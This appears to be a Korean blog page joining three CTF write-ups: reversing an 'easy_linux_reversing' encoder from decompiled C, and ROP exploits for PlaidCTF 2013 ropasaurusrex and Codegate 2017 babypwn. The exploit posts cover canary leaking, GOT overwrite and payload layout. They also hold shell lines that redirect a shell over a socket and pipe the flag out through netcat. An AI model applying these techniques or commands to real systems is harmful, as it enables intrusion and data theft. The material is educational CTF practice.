https://war.sejongssg.kr/ < SSG ctf문제 사이트

test1.py



메세지와 인코딩 프로그램을 남겼다고 한다. 그 메세지를 디코드하면 된단다.

때는 작년 12월 말 문제 배점이 적도 문제이름에도 easy라고 하길래.. 문제 봤다가 포기 했었다. ida 헥스레이가 있다지만 그리고 

코드도 그렇게 길지 않았지만 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int v3; // edx 
 
signed int i; // [esp-19Ch] [ebp-19Ch] 
 
signed int j; // [esp-19Ch] [ebp-19Ch] 
 
signed int v7; // [esp-198h] [ebp-198h] 
 
int v8; // [esp-194h] [ebp-194h] 
 
char v9; // [esp-99h] [ebp-99h] 
 
int v10; // [esp-5Bh] [ebp-5Bh] 
 
_BYTE v11[3]; // [esp-57h] [ebp-57h] 
 
int v12; // [esp-20h] [ebp-20h] 
 
unsigned int v13; // [esp-1Ch] [ebp-1Ch] 
 
int *v14; // [esp-14h] [ebp-14h] 
 
 *(_DWORD *)
 
(char *)&v12
 
((unsigned int)((char *)&v10 - ((unsigned int)v11 & 4294967292) + 63) & 4294967292) >> 2 
cs

등등...

쓸떼없이 복잡한 변수와 자료형들이 뭘 뜻하는지 잘 몰랐기 때문이다.

후에도 차근차근 하나씩 해보자 했었지만 금방 접고 다른 걸 했었는데 어제 저녁, 내일 이 문제를 다시 풀기로 했다.

그리고 엄청 느린속도로 코드수정을 한 결과 풀 수 있었다. 별거 아니지만 내 생각이 맞았다는 생각에 뿌듯했다.





파일을 내려받아서 확장자를 zip으로 바꿔주고 압풀을 풀어주면 decode it.txt라는 텍스트 파일 하나와

easy_linux_reversing이라는 32bit elf파일이 나온다.

파일을 실행하면 Input the Message: 라는 문구와함께 문자열을 입력할 수 있는데

그 문자열이 아래 메모장의 result와 같이 인코딩 되어 출력 된다는 것이다.



파란 상자안에 코드는 헥스레이 수도코드 사이사이에 조금 더 이해하기 쉽게 다시 쓴 코드다. 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
int __cdecl main(int argc, const char **argv, const char **envp) 
int v3; // edx 
signed int i; // [esp-19Ch] [ebp-19Ch] 
signed int j; // [esp-19Ch] [ebp-19Ch] 
signed int v7; // [esp-198h] [ebp-198h] 
int v8; // [esp-194h] [ebp-194h] 
char v9; // [esp-99h] [ebp-99h] 
==> char buffer[251?]="";
 
int v10; // [esp-5Bh] [ebp-5Bh] 
_BYTE v11[3]; // [esp-57h] [ebp-57h] 
int v12; // [esp-20h] [ebp-20h] 
unsigned int v13; // [esp-1Ch] [ebp-1Ch] 
int *v14; // [esp-14h] [ebp-14h] 
 
v10 = *(_DWORD *)"Tz1jWRprBqZDfC7OFVgu5N8yAslxL4Kab2cYt3QeH9dGhwkPXvMnIoUEi0SmJ6"
==> char msg1[]="Tz1jWRprBqZDfC7OFVgu5N8yAslxL4Kab2cYt3QeH9dGhwkPXvMnIoUEi0SmJ6";
 
strcpy((char *)&v12, "mJ6"); 
==> char msg2[]="mj6";
 
qmemcpy((void *)((unsigned int)v11 & 4294967292),(const void *("Tz1jWRprBqZDfC7OFVgu5N8yAslxL4Kab2cYt3QeH9dGhwkPXvMnIoUEi0SmJ6" - ((char *)&v10- ((unsigned int)v11 & 4294967292))),4 * (((unsigned int)((char *)&v10 - ((unsigned int)v11 & 4294967292+ 63& 4294967292>> 2));
==>qmemcpy( (void *)(msg2 & 4294967292),msg1- (msg1- (msg2 & 4294967292))),4 * ((msg1 - ((msg2 & 4294967292+ 63& 4294967292>> 2)); 
==>memcpy((msg2 & 0xfffffffc),(msg2 & 0xfffffffc),(msg1 - ((msg2 & 0xfffffffc+ 63& 0xfffffffc));  //  >> 2 우 쉬프트 연산은 나누기2^n의 효과
결국 memcpy함수의 src주소와 dest주소가 같고 3번째 인자의 값만큼 바이트를 복사하는데 그말은 곧 memcpy하기 전의 값이나 한 후의 값이나 변화가 없다는 뜻이다.
 
printf("Input the Message : ");
 
fgets(&v9, 60, stdin);
==> fgets(buffer,60,stdin); 
 
 
 
v7 = strlen(&v9) - 1;
==> int num = strlen(buffer)-1;
 
 
 
for ( i = 0; i < v7; ++i ) 
if ( (*((_BYTE *)&v10 + i) + (_BYTE)i) & 1 ) 
v3 = *(&v9 + i) - *((char *)&v10 + i); 
else 
v3 = *((char *)&v10 + i) + *(&v9 + i); 
*(&v8 + i) = v3; 
*(&v8 + i) ^= *((char *)&v10 + v7 - i); 
==>
for ( i = 0; i < num; ++i ) 
    { 
        if ((msg1[i]+i)&1)  //홀, 짝
            v3 = buffer[i] - msg1[i]; 
        else 
            v3 = msg1[i] + buffer[i];
        v8[i]= v3;
        v8[i]^= msg1[num-i]; 
    }  //핵심 결국
 
 
 
printf("Encode result = "); 
 
for ( j = 0; j<v7; ++j ) 
printf("%d "*(&v8 + j));
==>
for (j=0; j<num; ++1){
        printf("%d ", v8[i]);
}
 
return 0;
cs


내가 디코딩 해야할 input값은 이미 메모장에 적힌 222 -125 83 -115 -116 -79 -105 195 145 211 37 20 총 13글자이다.

즉 input이 13일때만 고려하면 된다. 예를 들어

첫번째 테스트에  "aaaaa" 와 두번째 테스트에서 "aaaaaa" 넣었을때 encode[0]의 값이 일정하지 않았던 이유는 for문안에 

v8[i]^= msg1[num-i];   이 구문 때문이다. 

encoding 값과 자릿값을 이미 알고 그값을 decoding할 때는 num가 13으로 고정이기 때문에 영향을 받지 않는다.

decode값을 수월하게 추측해 볼 수 있다. 



*XOR연산 특징 :  A^B=C  , B^C=A, C^A=B



'CTF' 카테고리의 다른 글

[PlaidCTF 2013] ropasaurusrex  (0) 2018.02.07
[Codegate 2017] babypwn  (0) 2018.02.06


ropasuarusrex는 32-bit ELF파일이고 NX만 걸려있다. 데이터영역에서 코드실행이 안되므로 쉘코드는 넣지 못한다.


아이다를 이용해서 메인부터 분석했다. 엄청 간단했는데 

함수가 하나 있고 리턴값으로 WIN이 출력되어 나온다. 


sub_80483F4함수 내부로 들어가니

buf가 136바이트 만큼 선언된다. 그렇지만 read함수에서 버퍼사이즈를 넘는 256바이트의 문자열길이까지 받도록 되어있다.


이부분에서 bof가 발생한다.


ida에 나와있는데 write@plt주소와 read@plt주소를 구해주고.

plt내부로 들어가면 jmp하는 부분이 있는데 [함수 호출]--->[PLT로 이동]--->[GOT 참조]

과정에 따라 노란줄부분의 주소가 각각 write@got, read@got의 주소값이다.


objdump -d ropasaurusrex 명령어를 통해 pppr의 가젯을 찾아준다. 왜 pppr인가?

=> read함수와 write함수 모두 세개의 인자를 갖기 때문이다.



objdump -h ropasaurusrex 명령어를 통해 "/bin/sh" 문자열을 넣어줄 영역을 찾는다.

bss영역을 이용하도록 한다.



ldd(List Dynamic Dependencies)는 프로그램이나 공유 라이브러리들이 요구하는 공유 라이브러리(shared libraries)를 출력하는 명령 행(Command Line)프로그램이다.

ldd명령어를 통해 ropasaurusrex가 사용하는 공유라이브러리를 알 수 있었고 aslr이 걸려있어서 주소가 매번 바뀌는 것을 볼 수 있었다. 그래서 프로그램이 실행되면 나오는 실제 read함수의 주소를 이용한다. 

라이브러리 안에 있는 read와 system함수의 offset값의 차를 이용해서 페이로드에서 leak할 실제 read함수 주소에 더하면 실제 system함수의 주소가 나온다. 


offset값의 차를 이용하는 이유?

libc내부에서 함수들의 사이 거리는 항상 일정하기 때문이다.


libc base address + system함수 offset = 실제read함수의 주소 +(system함수 offset - read함수 offset) 


read offset - system offset = 0x9ad60


시나리오



준비물:

read_plt주소 / write_plt주소 / read_got주소 / write_got주소 / pppr주소 / bss영역 주소 / read - sys offset값



1. 버퍼(136)과 sfp(4)를 덮을 더미값을 넣는다.

2. read함수를 이용해서 bss영역에 "/bin/sh"문자열을 넣는다.  표준입력 0을 이용해서 client가 보낸 "/bin/sh"를 읽어서 bss영역에 담는다.

파이썬 코드 중 r.send(sh) 부분을 서버에서 입력받음 pppr을거쳐 다음으로   

3. write함수를 이용해서 read_got에 담겨있는 read함수의 주소를 표준출력 1을 이용해서 client에 보낸다.

파이썬 코드 중 read_leak=u32(r.recv(4)) 부분에서 출력을 받아 변수에 저장한다. pppr을거쳐 다음으로 

4. read함수는 이용해서 write_got에 system 함수의 주소를 넣는다. 표준입력 0을 이용해서 client가 보낸 real_sys를 읽어서 write_got에 담는다.

파이썬 코드 중 r.sendline(p32(real_sys))부분을 서버에서 입력받음 pppr을거쳐 다음으로 

5. 마지막으로 write를 이용하지만 결국 write_got가 4번 과정에서 system주소로 overwriting되었기 때문에 system함수가 실행될 것이다.


 

최종






'CTF' 카테고리의 다른 글

[SSG] easy_linux_reversing  (0) 2018.05.02
[Codegate 2017] babypwn  (0) 2018.02.06


라이브러리가 동적 링크되어있는 것을 알 수 있다. 즉, plt got 과정을 거쳐서 필요한 함수만 호출한다.

PLT(Procedure Linkage Table)

PLT는 일종의 실제 호출 코드를 담고 있는 테이블로써 이 내용 참조를 통해 _dl_runtime_resolve가 수행되고, 실제 시스템 라이브러리 호출이 이루어지게 됩니다.. 

GOT(Global Offset Table)

GOT는 PLT가 참조하는 테이블로써 프로시져들의 주소를 가지고 있습니다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를 참조해서 해당 주소로 점프하게 됩니다.


ex) scanf함수호출이 처음일 경우

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조]--->[다시PLT로 이동]--->[_dl_runtime_resolve]--->[GOT 저장 후, 실제 함수 주소로 점프]

[scanf함수 호출]--->[PLT로 이동]--->[GOT 참조] ---> [scanf함수로 점프]


ckecksec쉘 스크립트를 통해서 실행파일이 스택 카나리와 NX가 적용되어 있는 것을 알 수 있다.

즉 이용해야 할것     1.Canary leak     2.ROP 



ida를 이용해서 main을 분석해보니 fork를 사용하는 소켓 서버이고 소켓과 관련없는 함수 sub_8028B87(); 덩그러니있다.

내부로 들어가본다.



노란 부분의 첫번째 함수를 보니

이런 문자열을 출력하고 다음 함수 내부를 보면...



4번 줄에 char v2를 보면 ebp-34h이고 카나리인 v3는 ebp-Ch이기 때문에 

1. v2는 0x34-0x0c인것을 알 수 있다.

2. 8번 라인에 memset는 대부분 memset(string,0,strlen(string))과 같은 구조로 사용 되기 때문에  v2가 40바이트라는 것을 유추 할 수 있다.



노란 부분이 100바이트를 받는 걸로 봐서 취약한것으로 의심이 된다.


내부를 보면 recv()로 소켓으로부터 데이터를 수신한다.

이제 카나리를 읽어본다.


카나리 첫바이트가 null이여서 leak이 안되는 것으로 의심된다. A를 하나 더 넣고 돌려보면



카나리값도 출력된다. 값은 0x5695be00


스택구조를 그려보자면 

<낮은주소----v2(40)+canary(4)+dummy(0xc-4)+sfp(4)+ret(4)----높은주소>

위와 같다.


페이로드

<낮은주소----buffer(40) | canary(4) | dummy(12) | recv@plt(4) | ppppr_addr(4) | recv 1번째 인자 4(4) | bss_addr(4) | len(sh) (4) | 

recv 4번째 인자 0(4) | system@plt(4) | dummy(4) 원랜 ret어드레스 | bss_addr (4)----높은주소>


recv()함수의 3번째 인자의 자료형인 size_t는 32/64환경에 따라 4바이트, 8바이트이다.
파이썬프로그램은 소켓디스크립터는 4를 사용한다.
ps -ef 명령어를 사용하면 pts가 4이다.
oiehso0    9092   6377  0 11:20 pts/4    00:00:00 python remote.py

recv함수 레퍼런스 : http://forum.falinux.com/zbxe/index.php?document_srl=441107&mid=C_LIB


시나리오

1.recv함수가 실행되며 ebp+8 부터 4개의 인자를 이용해 실행된다. recv함수가  bss_addr에 cmd 문자열을 담는 과정

2.종료후 원래 ret주소인 ppppr_addr자리가 ppppr_addr로 변조 되었으므로 스택보인터가 네번 내려가고 ret명령을 호출한다. ret은 pop eip + jmp eip의 줄임이다.

3.system함수가 호출되어 시나리오 1번과정에서 담았던 bss_addr의 문자열을 인자로 하여 실행된다. system 함수는 ebp+8의 인자를 사용한다.


ida가 구해놓은 system@plt와 recv@plt의 주소를 얻고



objdump -h babypwn 명령어를 이용하여 bss영역의 주소를 구해준다.



objdump -d babypwn 명령어를 이용해서 pppr_addr을 구해준다 좀만 위로 올리니까 바로 발견할 수 있었다.





최종


sh = "/bin/sh >&4 <&4 2>&4를 설명하자면 exploit.py << 이 프로그램이 실행되는 동안 출력(>&4), 입력(<&4), 오류(2>&4)를 리다이렉션한다.

아니면 위 대신

r.send('id | nc localhost 6666')

r.send('cat flag | nc localhost 6666') 

이런식으로 코드를 짜도 된다.




'CTF' 카테고리의 다른 글

[SSG] easy_linux_reversing  (0) 2018.05.02
[PlaidCTF 2013] ropasaurusrex  (0) 2018.02.07

+ Recent posts